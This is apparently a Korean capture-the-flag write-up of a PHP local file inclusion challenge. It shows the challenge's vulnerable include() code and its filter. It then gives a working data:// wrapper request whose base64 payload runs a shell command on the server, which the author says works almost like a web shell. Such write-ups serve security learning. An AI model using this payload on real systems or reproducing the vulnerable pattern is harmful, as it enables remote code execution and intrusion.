1. 개요
php Local file injection 문제
2. 분석
1) query string
쿼리스트링으로 파일명을 받고 있습니다. LFI 걸기 좋아보입니다.
2) filter
다만, flag, // 에 필터가 걸려있습니다.
<?php
if($_GET['inc']){
if(preg_match('/flag|:\/\//i', $_GET['inc'])){
exit("no hack");
}
include($_GET['inc']);
}else{
echo "
<h1><a href='?inc=hello'>hello</a></h1>
<h1><a href='?inc=test'>test</a></h1>
";
}
phpinfo();
//php.ini:allow_url_include=On
//php.ini:allow_url_fopen=On
?>
3) 필터 우회
php wrapper는 해당 프로토콜에서 파일시스템을 다루는 역할을 수행합니다.
data:// wrapper를 보면 base64 인코딩을 사용할 수 있고 filter에 적용된 // 와 flag를 우회할 수 있습니다.
4) base64 인코딩
base64 인코딩된 값을 넣어줍니다.
거의 웹쉘 처럼 사용가능합니다.
http://web.h4ckingga.me:10012/?inc=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgaW5kZXgucGhwIik/Pg==
'H4CKING GAME' 카테고리의 다른 글
[DigitalForensic] with CTF - ROX (0) | 2022.08.15 |
---|---|
[H4CKING GAME] - CODE (0) | 2022.08.15 |
[H4CKING GAME] - Paint (0) | 2022.08.07 |
[H4CKING GAME] - Qualification (0) | 2022.08.07 |
[H4CKING GAME] - cat (0) | 2022.08.07 |